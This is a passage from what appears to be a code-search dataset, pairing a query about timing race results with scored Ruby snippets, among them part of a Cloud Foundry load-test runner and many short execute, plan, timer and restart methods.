VMC_Actions::VMC_PUSH_APP\n\n else\n # We should have an app descriptor in our table for the app\n ainf = my_apps[app]\n if not ainf\n internal_error(\"my_apps[\\'#{app}\\'] is missing for user #{email} at #{VMC_Actions.action_to_s(act)}\")\n end\n end\n\n # See what action is specified and carry it out\n case act\n when VMC_Actions::VMC_ADD_USER\n mail = arg[:email]\n pass = arg[:password]\n client = nil\n if not dry_run\n begin\n beg_time = Time.now\n if $newgen\n # We potentially need to delete the user from an unclean shutdown\n begin\n @logger.debug(\"Deleting user: '#{mail}'\")\n @admin_client.delete_user(mail)\n @logger.debug(\"Deleted user: '#{mail}'\")\n rescue VMC::Client::NotFound\n @logger.debug(\"Did not need to clean up user: '#{mail}'\")\n rescue => e\n @logger.info(\"Unexpected error while deleting user: '#{mail}' error: '#{e.inspect}'\")\n end\n\n # Create the test user\n ur = @admin_client.add_user(mail, pass)\n\n # Create a client for the user\n client = VMC::Client.new(@target, @admin_token)\n client.proxy = nil\n\n # Login the client and set the proxy value in the client\n client.login(@config['ac_admin_user'], @config['ac_admin_pass'])\n client.proxy = mail\n\n # Enable tracing if desired\n @admin_client.trace = $verbose ? true : false\n else\n begin\n @logger.debug(\"Deleting user: '#{mail}'\")\n delete_user_internal(@base_uri, mail, auth_hdr(nil))\n @logger.debug(\"Deleted user: '#{mail}'\")\n rescue => e\n # Errors will be the common case\n @logger.debug(\"Error deleting user: '#{mail}' error: '#{e.inspect}'\")\n end\n register_internal(@base_uri, mail, pass)\n end\n rec_dev_action_result_norm(false, beg_time)\n##hack## rescue VMC::Client::NotFound\n##hack## rec_dev_action_result_norm(true , beg_time)\n##hack## fatal_error(\"Could not register test user #{mail}: probably a turd left behind, please reset CC/HM database\")\n rescue => e\n rec_dev_action_result_norm(true , beg_time)\n if e.kind_of? RuntimeError and e.to_s[0, 14] == \"Invalid email:\"\n fatal_error(\"Could not register test user #{mail}: probably a turd left behind, please reset CC/HM database\")\n else\n @logger.error(\"Could not register test user #{mail}\")\n raise e, e.message, e.backtrace\n end\n end\n token = login_internal(@base_uri, mail, pass)\n else\n token = \"this is a fake token for user #{usr}\"\n end\n\n @user_clients[usr] = client\n @user_tokens [usr] = token\n @user_emails [usr] = mail\n\n @cleanup_lock.synchronize {\n @cleanup = [ { :action => VMC_Actions::VMC_DEL_USER, :user => mail } ] + @cleanup\n @cleanup_acts += 1\n }\n\n when VMC_Actions::VMC_PUSH_APP\n # Get the various arguments we need to push app bits\n path = TestDef_Base.pull_val_from(arg, :path)\n aurl = TestDef_Base.pull_val_from(arg, :url)\n amem = TestDef_Base.pull_val_from(arg, :mem)\n awar = TestDef_Base.pull_val_from(arg, :war)\n inst = TestDef_Base.pull_val_from(arg, :instances)\n fmwk = TestDef_Base.pull_val_from(arg, :framework)\n exec = TestDef_Base.pull_val_from(arg, :exec_cmd)\n svcs = TestDef_Base.pull_val_from(arg, :services)\n crsh = TestDef_Base.pull_val_from(arg, :crashes)\n\n # Create and record the app descriptor\n ainf = {\n :user => usr,\n :inst_total => 0,\n :inst_running => 0,\n :inst_crashed => 0,\n :crash_info => crsh,\n }\n ma_lock.synchronize { my_apps[app] = ainf }\n\n if not dry_run\n\n manifest = {\n :name => \"#{app}\",\n :staging => {\n :framework => fmwk,#changed by jacky\n :runtime => exec#changed by jacky\n },\n :uris => [aurl],\n :instances => 1,\n :resources => { :memory => mem_in_MB(amem) },\n }\n\n # Provision services if the app asked for any\n provs, hasdb = find_services(app, email, client, svcs)\n\n # Send the manifest to the cloud controller\n beg_time = Time.now\n begin\n # Create the app\n if $newgen\n client.create_app(app, manifest)\n rec_dev_action_result_norm(false, beg_time)\n else\n response = create_app_internal(@droplets_uri, manifest, auth_hdr(email))\n handle_response(response, beg_time)\n #client = VMC::Client.new(@base_uri, @admin_token)\n #client.create_app(arg[:app_name], manifest)\n end\n\n # App created - make sure we delete it no matter what happens\n @cleanup_lock.synchronize do\n @cleanup = [ { :action => VMC_Actions::VMC_DEL_APP, :client => client,\n :user => email,\n :app_name => app } ] + @cleanup\n @cleanup_acts += 1\n end\n\n # Now upload the app bits\n pushed = push_app_bits(app, email, client, false, path, provs, awar, hasdb)\n rescue => e\n rec_dev_action_result_norm(true , beg_time)\n @logger.error(\"Could not create app #{app} -- #{e.inspect}\")\n pushed = false\n end\n\n # If pushed OK, wait for the correct number of running instances\n if not pushed or set_instance_count(app, email, client, inst, true, ainf) == 0\n break if @stop_run_now\n\n # Zap all future actions related to this app\n orig_len = context_queue.length\n context_queue.delete_if {|a| a[:args] and a[:args][:app_name] == app and not a[:act_type].kind_of? TestDef_Usr}\n aborted = @lck_act_count.synchronize { aborted = orig_len - context_queue.length }\n @lck_act_count.synchronize {\n @dev_act_count -= aborted\n @dev_act_done += aborted\n @dev_act_aborted += aborted\n }\n\n # We couldn't push or get even one instance of the app running\n @logger.error(\"Could not get app #{app} started; aborting run and #{aborted} actions\")\n end\n end\n\n when VMC_Actions::VMC_UPD_APP\n\n adef = arg[:app_def]\n if not adef.kind_of? TestDef_App\n internal_error(\"Bogus update app type of #{adef.class}\")\n end\n begin\n push_app_bits(app, email, client, true, adef.dir) unless dry_run\n rescue Errno::EACCES => e\n @logger.warn(\"Update for app #{app} failed: #{e.inspect}\")\n raise e, e.message, e.backtrace\n end\n\n # Did we just change the crash mode of the app?\n ainf = my_apps[app]\n oldc = ainf[:crash_info]\n newc = adef.crashes\n if oldc != newc\n # UNDONE: crash mode changed from #{oldc} to #{newc} for app #{app}\n ainf[:crash_info] = newc\n end\n\n when VMC_Actions::VMC_DEL_APP\n\n if @config['pause_at_end'] or @config['log_end_stat']\n @logger.warn(\"Skipping deletion of app #{app}\") unless dry_run\n else\n begin\n if $newgen\n internal_error(\"Action #{VMC_Actions.action_to_s(act)} not yet implemented for -n / newgen\")\n else\n delete_app(app, email, client) unless dry_run\n end\n rescue => e\n @logger.warn(\"Deleting app #{app} threw #{e.inspect}\")\n end\n\n # Remove the app from the \"active apps\" table\n ma_lock.synchronize { my_apps.delete(app) }\n\n # Find and kill the cleanup action for this app\n @cleanup.each do |aa|\n if aa[:action] == VMC_Actions::VMC_DEL_APP and\n aa[:user] == email and\n aa[:app_name] == app then\n\n # Deactivate this cleanup item\n aa[:action] = 0\n\n # Decrement number of cleanup items left to process\n @cleanup_lock.synchronize { @cleanup_acts -= 1 }\n break\n end\n end\n end\n\n when VMC_Actions::VMC_CHK_APP\n\n if not dry_run\n # Get the current instance counts and compare against expected\n cnts = app_instance_count(app, email, client)\n\n @logger.debug(\"Checking app health: crash mode is \\'#{ainf[:crash_info]}\\' and instances are #{cnts.inspect}\")\n\n##################puts \"Checking app health: crash mode is \\'#{ainf[:crash_info]}\\' and instances are #{cnts.inspect}\"\n\n if cnts[0] != ainf[:inst_total ] or\n cnts[1] != ainf[:inst_running] or\n cnts[2] != ainf[:inst_crashed] then\n # ISSUE: if there are zero running instances, should we abort?\n # UNDONE: what else do we need to do here?\n @logger.warn(\"app #{app}: instCnt(total) is #{cnts[0]} instead of #{ainf[:inst_total ]}\") unless cnts[0] == ainf[:inst_total ]\n @logger.warn(\"app #{app}: instCnt(runng) is #{cnts[1]} instead of #{ainf[:inst_running]}\") unless cnts[1] == ainf[:inst_running]\n @logger.warn(\"app #{app}: instCnt(crshd) is #{cnts[2]} instead of #{ainf[:inst_crashed]}\") unless cnts[2] == ainf[:inst_crashed]\n end\n\n end\n\n when VMC_Actions::VMC_INSTCNT\n\n # Do we have a specific instance count change or min/max?\n if icnt\n # Was the count \"+xxx\" or \"-xxx\" ?\n if iinc\n ncnt = (dry_run ? 0 : app_instance_count(app, email, client)[1]) + icnt\n # Make sure the new instance count isn't too low\n ncnt = 1 if ncnt < 1\n else\n ncnt = icnt.to_i\n end\n if not dry_run\n set_instance_count(app, email, client, ncnt, false, ainf)\n end\n else\n puts \"UNDONE: handle min/max instance count action\" ; exit\n end\n\n when VMC_Actions::VMC_ADD_SVC\n\n # We should have a :services value (and it must be an array/hash)\n svcs = arg[:services]\n internal_error(\"Missing :services value in 'add service' action\") if not svcs\n if svcs.kind_of? Hash\n svcs = [ svcs ]\n else\n internal_error(\"The :services value #{svcs} in 'add service' is of type #{svcs.class}\") unless svcs.kind_of? Array\n end\n\n if not dry_run\n # Look for available service(s) to satisfy the request\n prov, = find_services(app, email, client, svcs)\n\n # Bind the services(s) to the user and this app\n begin\n prov.each { |p| add_app_service(app, email, p) }\n @logger.debug(\"Added service(s) #{svcs.inspect} to app #{app}\")\n rescue Errno::EACCES => e\n @logger.warn(\"Adding services to app #{app} failed: #{e.inspect}\")\n end\n end\n\n when VMC_Actions::VMC_DEL_SVC\n\n # We should have a :services value (and it must be an array/hash)\n svcs = arg[:services]\n internal_error(\"Missing :services value in 'delete service' action\") if not svcs\n if svcs.kind_of? Hash\n svcs = [ svcs ]\n else\n internal_error(\"The :services value #{svcs} in 'delete service' is of type #{svcs.class}\") unless svcs.kind_of? Array\n end\n if not dry_run\n del_app_service(app, email, svcs)\n @logger.debug(\"Deleted service(s) #{svcs.inspect} from app #{app}\")\n end\n\n when VMC_Actions::VMC_APPLOGS, VMC_Actions::VMC_CRSLOGS\n\n if not dry_run\n # ISSUE: for crash logs we make sure there are actually crashes\n # present before trying to get any logs. Is this correct?\n crash = get_app_crashes(app, email, client)\n if not crash or crash.length == 0\n @logger.debug(\"app #{app} has no crashes; ignoring get_crash_logs action\")\n next\n end\n end\n\n # Get the current number of running instances\n inst = dry_run ? 1 : app_instance_count(app, email, client)[0]\n\n # Are we supposed to choose random instances?\n irnd = arg[:random] ? true : false\n\n # The meaning of the various instance values is as follows:\n #\n # icnt if present, get that many random instance logs\n #\n # imin/imax if present, random number of logs in <min .. max>\n #\n # inum if present, use the specific instance number; if\n # negative, get logs for that many random instances\n\n # What kind of an instance count / number do we have?\n if icnt\n # Simple count\n lcnt = icnt\n # We better not have min/max or 'inst_num'\n if imin or imax or inum\n puts \"ERROR: crazy mix of icnt/imin/imax/inum\" ; exit\n end\n elsif imin or imax\n # We better have both min/max and no 'inst_num'\n if not imin or not imax or inum\n puts \"ERROR: crazy mix of imin/imax/inum\" ; exit\n end\n # If min/max is negative, choose a random count\n if imin < 0 or imax < 0\n imin = -imin if imin < 0\n imax = -imax if imax < 0\n irnd = true\n lcnt = imin + rand(imax - imin)\n else\n lcnt = imax - imin + 1\n end\n inum = imin\n elsif inum\n lcnt = inum\n if inum < 0\n irnd = true\n lcnt = -inum\n inum = nil\n end\n else\n puts \"ERROR: no icnt / imin / imax / inum found\" ; exit\n end\n\n if not dry_run\n # Pull the desired number of app/crash logs\n lcnt.times do\n # Pick a random instance unless we have a specific instance number\n if irnd\n # UNDONE: for crash logs we need to pick a crashed instance\n inum = rand(inst).to_i\n else\n inum = 0 if inum >= inst\n end\n\n if act == VMC_Actions::VMC_APPLOGS\n ####puts \"Getting app log for #{app}:#{inum}\"\n grab_app_logs(app, email, inum) unless dry_run\n else\n ####puts \"Getting crash log for #{app}:#{inum}\"\n grab_crash_logs(app, email, client, inum) unless dry_run\n end\n\n inum += 1\n end\n end\n\n when VMC_Actions::VMC_CRASHES\n if not dry_run\n crash = get_app_crashes(app, email, client)\n end\n\n else\n internal_error(\"Unexpected 'dev' action \\\"#{VMC_Actions.action_to_s(act)}\\\"\")\n end\n rescue => e\n # put our action back on and delay this and any other actions for this\n # app by to give the CC a chance to recover\n defer_time = 60\n retry_action = true\n @logger.error(\"Execution plan error. Deferring for #{defer_time}s #{a_our.inspect}\")\n context_queue.unshift(a_our)\n new_start = Time.now - stclk + defer_time\n context_queue.each do |a|\n diff = a_our[:clock] - a[:clock]\n a[:clock] = new_start + diff if a[:args].nil? or a[:args][:app_name] == app\n end\n ensure\n if a_our and not retry_action and not typ.kind_of? TestDef_Usr\n @lck_act_count.synchronize {\n @dev_act_count -= 1\n @dev_act_done += 1\n }\n end\n\n # Make sure the action takes the proper amount of time\n slumber(end_time - Time.now) unless dry_run\n\n # This context queue is ready for more work\n priority_context_queue.push(context_queue) if context_queue and not context_queue.empty?\n\n # This thread is no longer executing anything\n @cur_dev_cmds[thrd_num] = nil\n end\n end\n end\n end\n\n # Save the execution thread table in case something goes wrong\n @exec_thrds = thrd_tab\n @exec_thrds.each { |t| t.abort_on_exception = true }\n\n # Create a thread that will kill everything if/when 'max_runtime' is reached\n if @config['max_runtime']\n time_killer_thread = Thread.new do\n bgtm = Time.now\n slen = tlen = @config['max_runtime'].to_i\n while slen > 0 and not @test_run_done and not @stop_run_now\n sleep 0.5\n slen -= 0.5\n end\n if not @test_run_done and not @stop_run_now\n msg = \"Test has been running for #{(Time.now-bgtm).to_i} seconds: trying to stop it\"\n @logger.warn(msg)\n puts msg\n\n # Tell everyone that it's time to stop\n if not force_stop\n sleep(1)\n # If we've starting cleaning up, no need to panic\n if not @doing_cleanup\n msg = \"Execution threads refuse to stop; aborting the test the hard way\"\n @logger.error(msg)\n puts msg\n exit!\n end\n end\n end\n end\n end\n\n # Start a warm-and-fuzzy thread that will regularly display statistics\n fuzzy_thread = Thread.new do\n # We'll display time elapsed in our updates\n start = Time.now\n\n # Get hold of the update period in seconds\n freq = @config['update_freq'].to_f\n freq = 60 unless freq # default = 60 seconds\n\n while not @test_run_done and not @stop_run_now\n stamp = \"[%04u sec]: \" % (Time.now - start + 0.5).to_i\n report_averages(true , stamp)\n report_averages(false, stamp)\n\n @logger.debug(\"priority queue len: #{priority_context_queue.length}\")\n txt = \"\"\n @cur_dev_cmds.each_with_index do |action, thrd|\n txt += \" Thread #%02u \" %thrd\n if action\n txt += \"is executing action #{action.inspect}\\n\"\n else\n txt += \"is in IDLE\\n\"\n end\n end\n @logger.debug(\"thread state:\\n#{txt}\")\n\n # Sleep 'freq' seconds (while checking for the test ending)\n slumber(freq)\n end\n end\n\n # Wait for the execution threads to finish\n thrd_tab.each { |t| t.join }\n\n # Dump summary + log detailed final state if desired\n if @config['log_end_stat'] and not dry_run\n fin_usrs = 0 # number of users we find alive\n fin_apps = 0 # number of apps we find alive\n fin_good = 0 # number of app instances that look healthy/running\n fin_sick = 0 # number of app instances that look sickly/crashed\n\n @logger.info(\"Detailed end state:\")\n\n # Iterate across all the user we (probably) created\n for u in 0..user_count-1 do\n user = @user_emails [u]\n clnt = @user_clients[u]\n next unless user\n\n @logger.info(\"User #{user}:\")\n\n # We have a live user, apparently\n fin_usrs += 1\n\n # Enumerate this user's applications (if any)\n my_apps.each do |name, ainf|\n next unless ainf[:user] == u\n tcnt, rcnt, ccnt = app_instance_count(name, user, clnt)\n @logger.info(\" App #{name}: T=#{tcnt},R=#{rcnt},C=#{ccnt}\")\n fin_good += rcnt\n fin_sick += ccnt\n end\n end\n\n msg = \"#{fin_usrs} live users with #{fin_apps} apps\"\n msg += \", #{fin_good} instances good\" if fin_good > 0\n msg += \", #{fin_sick} instances sick\" if fin_sick > 0\n\n @logger.info(\"[final]: \" + msg)\n puts \"End state: #{msg}\"\n end\n\n # The run ended peacefully - see if we are supposed to pause\n if @config['pause_at_end']\n puts ; puts ; puts\n puts \"----------------------------------------------------------\"\n puts \"Test run ended successfully - please hit enter to clean up\"\n STDIN.gets\n puts \"----------------------------------------------------------\"\n end\n ensure\n @test_run_done = true\n cleanup\n final_report\n end", "title": "" }, { "docid": "0181528af13214bd7b88e7ee950310d1", "score": "0.54732454", "text": "def run_locally=(_arg0); end", "title": "" }, { "docid": "4ed8e3e3bfee2f3d8ce2f36ac5c95407", "score": "0.5467506", "text": "def plan(name, plan_class = ExecutablePlan, &block)\n @plans << plan_class.new(name, @description, @filename, &block)\n @description = nil\n end", "title": "" }, { "docid": "c6f7b17b892699048c922bb434790dc4", "score": "0.5452549", "text": "def real_plan\n ret = self\n ret = ret.plan while ret.respond_to?(:plan)\n ret\n end", "title": "" }, { "docid": "25ee115c5b99c67e89e0e8578f5a1c6b", "score": "0.54496586", "text": "def _execute(*args)\n #This is a stub, used for indexing\n end", "title": "" }, { "docid": "b4441b93f5367ba3b2f6216b4c0fa7cd", "score": "0.54348576", "text": "def parallel_manager; end", "title": "" }, { "docid": "4452e016e2e65431233f3df2c911d3e1", "score": "0.54290795", "text": "def execute(block)\n block.call \nend", "title": "" }, { "docid": "18341dbfe61b0142e27efd46acc7314a", "score": "0.54264784", "text": "def execute\n\n end", "title": "" }, { "docid": "3517e6aeca527ea5ac6d7de50e5bb7c0", "score": "0.5414296", "text": "def execute(&block)\n block # missing .call to run the block\nend", "title": "" }, { "docid": "67ae513db92e9ee1547361b988a2d8c9", "score": "0.54102665", "text": "def execute!\n name_required!\n name = name_args.first\n\n stack_info = \"#{ui.color(\"Name:\", :bold)} #{name}\"\n begin\n stack = provider.stacks.get(name)\n rescue Miasma::Error::ApiError::RequestError\n raise Error::StackNotFound,\n \"Failed to locate stack: #{name}\"\n end\n\n if config[:plan_name]\n ui.debug \"Setting custom plan name - #{config[:plan_name]}\"\n # ensure custom attribute is dirty so we can modify\n stack.custom = stack.custom.dup\n stack.custom[:plan_name] = config[:plan_name]\n end\n\n ui.info \" -> Loading plan information...\"\n\n plan = stack.plan\n if plan.nil?\n raise Error::StackPlanNotFound,\n \"Failed to locate plan for stack `#{name}`\"\n end\n\n display_plan_information(plan)\n\n return if config[:plan_only]\n\n if config[:merge_api_options]\n config.fetch(:options, Smash.new).each_pair do |key, value|\n if stack.respond_to?(\"#{key}=\")\n stack.send(\"#{key}=\", value)\n end\n end\n end\n\n begin\n api_action!(:api_stack => stack) do\n stack.plan_execute\n if config[:poll]\n poll_stack(stack.name)\n if [:update_complete, :create_complete].\n include?(stack.reload.state)\n ui.info \"Stack plan apply complete: \" \\\n \"#{ui.color(\"SUCCESS\", :green)}\"\n namespace.const_get(:Describe).\n new({:outputs => true}, [name]).execute!\n else\n ui.fatal \"Update of stack #{ui.color(name, :bold)}: \" \\\n \"#{ui.color(\"FAILED\", :red, :bold)}\"\n raise Error::StackStateIncomplete\n end\n else\n ui.warn \"Stack state polling has been disabled.\"\n ui.info \"Stack plan apply initialized for \" \\\n \"#{ui.color(name, :green)}\"\n end\n end\n rescue Miasma::Error::ApiError::RequestError => e\n if e.message.downcase.include?(\"no updates\")\n ui.warn \"No changes detected for stack (#{stack.name})\"\n else\n raise\n end\n end\n end", "title": "" }, { "docid": "e74bc2db7be6b9c60f1e2e2ca62d97cf", "score": "0.53969395", "text": "def execute(&block)\n block.call \nend", "title": "" }, { "docid": "e74bc2db7be6b9c60f1e2e2ca62d97cf", "score": "0.53969395", "text": "def execute(&block)\n block.call \nend", "title": "" }, { "docid": "71e593b67436a4ee7820a63405493d0f", "score": "0.53967404", "text": "def engine; app.plan.engine end", "title": "" }, { "docid": "60f03a495251cd7e7d2660c834eaee1b", "score": "0.53963417", "text": "def initialize(include_children = false, plan = nil)\n @plan = plan || Roby.plan\n @include_children = include_children\n\t\t@query = self.plan.find_tasks.\n\t\t executable.\n\t\t pending.\n\t\t self_owned\n\n @can_schedule_cache = Hash.new\n @enabled = true\n\t end", "title": "" }, { "docid": "3fece6e5cb50e4a10d3090e3373f58d0", "score": "0.5395726", "text": "def execute &block\n block.call\nend", "title": "" }, { "docid": "daa69f00c32bc7eafbe3a8274ec7cc0a", "score": "0.5392472", "text": "def initialize(include_children = false, plan = nil)\n super()\n\n @plan = plan || Roby.plan\n @include_children = include_children\n @query = self.plan.find_tasks\n .executable\n .pending\n .self_owned\n\n @can_schedule_cache = {}\n @enabled = true\n end", "title": "" }, { "docid": "555266b90d8f22685d7d597108d7aba2", "score": "0.539044", "text": "def execute(block)\n block.call\nend", "title": "" }, { "docid": "555266b90d8f22685d7d597108d7aba2", "score": "0.539044", "text": "def execute(block)\n block.call\nend", "title": "" }, { "docid": "555266b90d8f22685d7d597108d7aba2", "score": "0.539044", "text": "def execute(block)\n block.call\nend", "title": "" }, { "docid": "555266b90d8f22685d7d597108d7aba2", "score": "0.539044", "text": "def execute(block)\n block.call\nend", "title": "" }, { "docid": "555266b90d8f22685d7d597108d7aba2", "score": "0.539044", "text": "def execute(block)\n block.call\nend", "title": "" }, { "docid": "555266b90d8f22685d7d597108d7aba2", "score": "0.539044", "text": "def execute(block)\n block.call\nend", "title": "" }, { "docid": "555266b90d8f22685d7d597108d7aba2", "score": "0.539044", "text": "def execute(block)\n block.call\nend", "title": "" }, { "docid": "555266b90d8f22685d7d597108d7aba2", "score": "0.539044", "text": "def execute(block)\n block.call\nend", "title": "" }, { "docid": "555266b90d8f22685d7d597108d7aba2", "score": "0.539044", "text": "def execute(block)\n block.call\nend", "title": "" }, { "docid": "555266b90d8f22685d7d597108d7aba2", "score": "0.539044", "text": "def execute(block)\n block.call\nend", "title": "" }, { "docid": "555266b90d8f22685d7d597108d7aba2", "score": "0.539044", "text": "def execute(block)\n block.call\nend", "title": "" }, { "docid": "555266b90d8f22685d7d597108d7aba2", "score": "0.539044", "text": "def execute(block)\n block.call\nend", "title": "" }, { "docid": "555266b90d8f22685d7d597108d7aba2", "score": "0.539044", "text": "def execute(block)\n block.call\nend", "title": "" }, { "docid": "555266b90d8f22685d7d597108d7aba2", "score": "0.539044", "text": "def execute(block)\n block.call\nend", "title": "" }, { "docid": "555266b90d8f22685d7d597108d7aba2", "score": "0.539044", "text": "def execute(block)\n block.call\nend", "title": "" }, { "docid": "555266b90d8f22685d7d597108d7aba2", "score": "0.539044", "text": "def execute(block)\n block.call\nend", "title": "" }, { "docid": "3387667c708cc02b42512b3a673c2939", "score": "0.53876036", "text": "def execute_command_provider; end", "title": "" }, { "docid": "367745762581170c885ab4d5eebb54d0", "score": "0.53763384", "text": "def control; plan.control end", "title": "" } ]
c7fb7ea8eeaed385b9fe0aad0506c5b8
Continue timing a result by toggling the start item, found by racer_id and racer_id.
[ { "docid": "0361d04739795f79951e1633175118b3", "score": "0.6017051", "text": "def continue_time\n result = Result.find(params[:id])\n start_item = StartItem.where(:race_id=>result.race_id).where(:racer_id=>result.racer_id)[0]\n race = Race.find(start_item.race_id)\n start_item.finished = false\n start_item.save\n result.destroy\n redirect_to race\n end", "title": "" } ]
[ { "docid": "f72e408c95ee7ca62d3d4d6e176167d7", "score": "0.57328004", "text": "def restart\n @target = @time_start = Time.now\n end", "title": "" }, { "docid": "7079b793cbe874364c2414e8de0e7ad2", "score": "0.5437414", "text": "def toggle\n client.time.toggle(@time_entry.harvest_id).timer_started_at.present?\n end", "title": "" }, { "docid": "ebd768450c402919284d8059356945ce", "score": "0.5287865", "text": "def start_processing\n @ran = true\n @start_time = Time.now\n end", "title": "" }, { "docid": "d6182307b9539e0ea9b56a5580bb88d0", "score": "0.5227899", "text": "def toggle_returned\n @item.toggle!(:returned)\n end", "title": "" }, { "docid": "94680a0c510429a6023a9ac1cb6ade08", "score": "0.52222615", "text": "def restart\n stop; start\n end", "title": "" }, { "docid": "eb998d4116b05a77de2166444e88328b", "score": "0.52101916", "text": "def restart; stop; start; end", "title": "" }, { "docid": "0d46fef3d05d0b8f3ea373f0b36d28a6", "score": "0.5207996", "text": "def method_wait\n Fiber.yield\n @anim_cell = @autopose.shift unless @autopose.empty?\n update_timed_hit if @timed_hit_setup[:timing] > 0\n end", "title": "" }, { "docid": "85919f9beb9681867303bbcdda78014f", "score": "0.51975757", "text": "def start\n unless @enabled\n @enabled = true\n\n begin\n next_item = self.get_next\n\n unless next_item.nil?\n @clock = next_item.due_time if next_item.due_time > @clock\n next_item.invoke\n else\n @enabled = false\n end\n\n end while @enabled\n end\n end", "title": "" }, { "docid": "3af473a8335e7c4dfe1cd11108d68a04", "score": "0.5129289", "text": "def restart\n stop\n start\n end", "title": "" }, { "docid": "3af473a8335e7c4dfe1cd11108d68a04", "score": "0.5129289", "text": "def restart\n stop\n start\n end", "title": "" }, { "docid": "3265b72840c3179090637cfee2e1f09b", "score": "0.5114364", "text": "def restart\n stop\n start\n end", "title": "" }, { "docid": "3265b72840c3179090637cfee2e1f09b", "score": "0.5114364", "text": "def restart\n stop\n start\n end", "title": "" }, { "docid": "3265b72840c3179090637cfee2e1f09b", "score": "0.5114364", "text": "def restart\n stop\n start\n end", "title": "" }, { "docid": "dae186548373f67c6f9a60a0a7cc79e1", "score": "0.5098135", "text": "def start_rerun(test_run)\n\n end", "title": "" }, { "docid": "3d37fdc52f32799fbd8fc2868fe2b5e6", "score": "0.50889987", "text": "def test_start_stop\n start_time_for={}\n stop_time=nil\n at=Activity_tracker.new do |id|\n assert((Time.now-start_time_for[id]-at.timeout).to_f.abs<at.tick_time)\n end\n if at.tresholds<3\n puts \"Warning: this test supposed to run successfully\"+\n \"only wich tresholds>3\"\n end\n 4.times do\n start_time_for[1]=Time.now \n at.active 1\n sleep at.timeout.to_f/2\n start_time_for[2]=Time.now \n at.active 2\n sleep at.timeout.to_f/2\n start_time_for[2]=Time.now \n at.active 2\n end\n end", "title": "" }, { "docid": "f93152585c975201ac1a86e85572719b", "score": "0.5059374", "text": "def resume()\n #This is a stub, used for indexing\n end", "title": "" }, { "docid": "22f3a5db9dbfa5ecd68647d18e950d25", "score": "0.502584", "text": "def update_timed_hit\n @timed_hit_setup[TIMED_HIT_BUTTON_SYMBOL].each do |button|\n if Input.trigger?(button)\n @timed_hit = button\n @timed_hit_setup[TIMED_HIT_TIMING_SYMBOL] = 1\n anim = $data_animations[@timed_hit_setup[TIMED_HIT_ANIME_SYMBOL]]\n follow = $game_temp.anim_follow\n $game_temp.anim_follow = @timed_hit_setup[TIMED_HIT_ANIME_FOLLOW]\n sprite.start_animation(anim, flip)\n $game_temp.anim_follow = follow\n on_timed_hit_success\n break\n end\n end\n @timed_hit_setup[TIMED_HIT_TIMING_SYMBOL] -= 1\n end", "title": "" }, { "docid": "cc7c95f687f1b388c1fcd470bcfa8afe", "score": "0.49782225", "text": "def restart\n stop\n sleep(1)\n start\n end", "title": "" }, { "docid": "cc7c95f687f1b388c1fcd470bcfa8afe", "score": "0.49782225", "text": "def restart\n stop\n sleep(1)\n start\n end", "title": "" }, { "docid": "976871559a93eb2fb6994ca57a8d202c", "score": "0.4973705", "text": "def start_rz\n \t@race = Race.find_by(:id => params[:id])\n \t@rz = Rz.find_by(:id => params[:rzid], :race_id => params[:id])\n\n render action: \"startrz.html.erb\"\n end", "title": "" }, { "docid": "454870f14f2dbbe4143ac913dca778b4", "score": "0.49712437", "text": "def call_start\n restart = true\n while restart\n restart = start\n end\n end", "title": "" }, { "docid": "90ab85a7652b1fa27b0204c4e643679c", "score": "0.49641687", "text": "def reset_start!\n @start = nil\n end", "title": "" }, { "docid": "c3601b80b9a30494a695eaf3e8d1e4e5", "score": "0.4948763", "text": "def reset_timing\n args = request_params\n if args[:link]\n end_timing_for_link(args[:map_id], args[:round], args[:link])\n start_timing_for_link(args[:map_id], args[:round], args[:link])\n else\n end_timing_for_round(args[:map_id], args[:round])\n start_timing_for_round(args[:map_id], args[:round])\n end\n\n head :ok\n end", "title": "" }, { "docid": "4b09ff42e322973d5068d5ea6648ec0c", "score": "0.49386263", "text": "def start(&block)\n @start_time = Time.now\n show\n yield self\n show\n clear\n end", "title": "" }, { "docid": "becd50bbdb38ed68bb6bc3893e4bf731", "score": "0.4931663", "text": "def restart\n stop\n start\n end", "title": "" }, { "docid": "41a1acea1d21fc9e2aa14a8bf200a9b7", "score": "0.4930681", "text": "def pause()\n #This is a stub, used for indexing\n end", "title": "" }, { "docid": "8b86f95bf7e6784404f015b3851a77fc", "score": "0.49297825", "text": "def advance()\n @time = @time + 1\n end", "title": "" }, { "docid": "e1227519b6567487148b461e2e132af6", "score": "0.4924906", "text": "def setup_timestop\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n @acts[1].times { Graphics.update }\n end", "title": "" }, { "docid": "2755bda76c35e4eb69b67d837955f199", "score": "0.49074396", "text": "def reset_timer\n @started = Time.now\n end", "title": "" }, { "docid": "36083d64dde996d9629be2fc7f9a9e07", "score": "0.49069494", "text": "def start_again\n sleep 0.2\n cicle\n end", "title": "" }, { "docid": "61664df43c89747c8a56f5c48be406bb", "score": "0.4904114", "text": "def start_tone_change(tone, duration)\n @tone_target = tone.clone\n @tone_duration = duration\n if @tone_duration == 0\n @tone = @tone_target.clone\n end\n end", "title": "" }, { "docid": "842a09b57c0ff31e518ac4eae6e5a353", "score": "0.49038273", "text": "def setup_timestop\n return unless PONY::ERRNO::check_sequence(current_act)\n @acts[1].times { SceneManager.update_basic }\n end", "title": "" }, { "docid": "992815b263ac56d12c2fff8429ec2dd6", "score": "0.4882598", "text": "def start record\n end", "title": "" }, { "docid": "4d9dd0569c3c6ff9829654b6d9a45834", "score": "0.48817882", "text": "def start_tone_change(tone, duration)\n @tone_target = tone.clone\n @tone_duration = duration\n if @tone_duration == 0\n @tone = @tone_target.clone\n end\n end", "title": "" }, { "docid": "551572e847cc86afc387a20187f4bc3e", "score": "0.48778537", "text": "def start_tone_change(tone, duration)\r\n @tone_target = tone.clone\r\n @tone_duration = duration\r\n if @tone_duration == 0\r\n @tone = @tone_target.clone\r\n end\r\n end", "title": "" }, { "docid": "2fd2f3e626a3afe5a7c9825f5148964a", "score": "0.48677686", "text": "def start_timer\n @timing = $app.animate(1) do\n @time_remaining -= 1\n end\n end", "title": "" }, { "docid": "1490d8c7f6ee380450bbc6dfe21e1cb1", "score": "0.4861536", "text": "def run\n @ran = true\n end", "title": "" }, { "docid": "88aefa0cb4623e5af3dbe2257a134a74", "score": "0.48602372", "text": "def setStart\n @start = Time.now\n end", "title": "" }, { "docid": "783849801ca07b1fbcf45853231ba816", "score": "0.4852029", "text": "def test_undo_quick_stop_no_resumption\n job 'kvik'\n\n mark = Time.set(Time.now)\n start 'kvik'\n Time.advance(30.hours)\n stop\n Time.advance(3.minutes)\n\n message = undo\n assert_message(lines(undid_prefix('quick_stop'),\n undid_stop(mark, 30.hours + 